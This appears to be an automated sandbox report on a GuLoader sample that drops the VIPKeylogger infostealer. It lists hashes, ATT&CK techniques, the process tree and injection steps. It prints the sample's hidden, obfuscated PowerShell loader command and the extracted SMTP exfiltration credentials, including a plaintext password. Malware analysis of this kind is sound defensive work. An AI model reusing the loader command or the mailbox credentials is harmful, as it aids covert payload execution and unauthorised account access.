guloader | 986a7af99dae4669a8d396f33ec71a3dce83f49902481d65489078d32c8aedee

General

Target

986a7af99dae4669a8d396f33ec71a3dce83f49902481d65489078d32c8aedee.exe
Size

827KB
MD5

bd22643b99f43bba3a8879e31769104f
SHA1

9cda02098e71ac53e3c9952d08b6f084f2162f5b
SHA256

986a7af99dae4669a8d396f33ec71a3dce83f49902481d65489078d32c8aedee
SHA512

672f789f1cd6b67721a20763ec0b7c27a9b2280e9f1407d3ba675c41b2d52bf3b818f6c4fbfe97e5152080a6665ab92a262003e008aa2279c325ab39a8e4efd7
SSDEEP

24576:NVTcsrgw7y6ry23mjDVWhRcgBS7W2Gnm3Tw2L:NVcOgv22/uR3cS2Gnm3THL

Score

10^/10

guloader vipkeylogger discovery downloader execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
mail.terrazza.hr
Port:
587
Username:
[email protected]
Password:
Vodenjak123!
Email To:
[email protected]

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2968	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
14	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2736	wabmig.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2968	powershell.exe
2736	wabmig.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2968 set thread context of 2736	2968	powershell.exe	35

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Brackishness.Ops	986a7af99dae4669a8d396f33ec71a3dce83f49902481d65489078d32c8aedee.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	986a7af99dae4669a8d396f33ec71a3dce83f49902481d65489078d32c8aedee.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wabmig.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2968	powershell.exe
2968	powershell.exe
2968	powershell.exe
2968	powershell.exe
2968	powershell.exe
2968	powershell.exe
2968	powershell.exe
2968	powershell.exe
2736	wabmig.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2968	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2968	powershell.exe
Token: SeDebugPrivilege	2736	wabmig.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2120 wrote to memory of 2968	2120	986a7af99dae4669a8d396f33ec71a3dce83f49902481d65489078d32c8aedee.exe	32
PID 2120 wrote to memory of 2968	2120	986a7af99dae4669a8d396f33ec71a3dce83f49902481d65489078d32c8aedee.exe	32
PID 2120 wrote to memory of 2968	2120	986a7af99dae4669a8d396f33ec71a3dce83f49902481d65489078d32c8aedee.exe	32
PID 2120 wrote to memory of 2968	2120	986a7af99dae4669a8d396f33ec71a3dce83f49902481d65489078d32c8aedee.exe	32
PID 2968 wrote to memory of 2736	2968	powershell.exe	35
PID 2968 wrote to memory of 2736	2968	powershell.exe	35
PID 2968 wrote to memory of 2736	2968	powershell.exe	35
PID 2968 wrote to memory of 2736	2968	powershell.exe	35
PID 2968 wrote to memory of 2736	2968	powershell.exe	35
PID 2968 wrote to memory of 2736	2968	powershell.exe	35

C:\Users\Admin\AppData\Local\Temp\986a7af99dae4669a8d396f33ec71a3dce83f49902481d65489078d32c8aedee.exe
"C:\Users\Admin\AppData\Local\Temp\986a7af99dae4669a8d396f33ec71a3dce83f49902481d65489078d32c8aedee.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2120
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Seventeens=Get-Content 'C:\Users\Admin\AppData\Local\Temp\amtsborgmester\pipette\incapacitation.Unh';$Seminative=$Seventeens.SubString(38390,3);.$Seminative($Seventeens)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2968
- - C:\Program Files (x86)\windows mail\wabmig.exe
    "C:\Program Files (x86)\windows mail\wabmig.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\amtsborgmester\pipette\Biologics.Afv

Filesize
364KB

MD5
0409ec7a344932abc7eca4333b693241

SHA1
f481663c3fa443fad9ccb5dd56b467f020cee03b

SHA256
ccdf50ed35b8bd2d685405b969b8b9794c884972690ee9b7400db82f81c76a0e

SHA512
06650ddf3200fdde2beb37b17dbd5d133cb572a0869721334cde46ea4df218ac344a11b0517c6b446b0417370495480b7a8a07c4dda33d627c69ebaf265ebd6f

Download Submit
C:\Users\Admin\AppData\Local\Temp\amtsborgmester\pipette\incapacitation.Unh

Filesize
72KB

MD5
1867865761f93c40ceab3493e90aa06a

SHA1
980ec2a8634d3b25d8061edf7107321de587ee7e

SHA256
48924fb0a43d9db9e07e2214ba0c62cdd20f1a856b125bacaa2defd852e4f64c

SHA512
f712c18ea480543ae2b7da30351560810a5220ff7fa9aaf7f6af2493a297e6168c9d2571c9def4b141c1f1a0f7bcff784b136070cbc3b71be2bef8bdc7a1244f

Download Submit
memory/2736-46-0x0000000000960000-0x00000000009AA000-memory.dmp

Filesize
296KB

Download
memory/2736-45-0x0000000000960000-0x00000000019C2000-memory.dmp

Filesize
16.4MB

Download
memory/2736-24-0x0000000000960000-0x00000000019C2000-memory.dmp

Filesize
16.4MB

Download
memory/2736-23-0x00000000019D0000-0x0000000007829000-memory.dmp

Filesize
94.3MB

Download
memory/2968-18-0x0000000074290000-0x000000007483B000-memory.dmp

Filesize
5.7MB

Download
memory/2968-11-0x0000000074291000-0x0000000074292000-memory.dmp

Filesize
4KB

Download
memory/2968-20-0x0000000074290000-0x000000007483B000-memory.dmp

Filesize
5.7MB

Download
memory/2968-21-0x0000000006530000-0x000000000C389000-memory.dmp

Filesize
94.3MB

Download
memory/2968-22-0x0000000074290000-0x000000007483B000-memory.dmp

Filesize
5.7MB

Download
memory/2968-15-0x0000000074290000-0x000000007483B000-memory.dmp

Filesize
5.7MB

Download
memory/2968-14-0x0000000074290000-0x000000007483B000-memory.dmp

Filesize
5.7MB

Download
memory/2968-13-0x0000000074290000-0x000000007483B000-memory.dmp

Filesize
5.7MB

Download
memory/2968-12-0x0000000074290000-0x000000007483B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing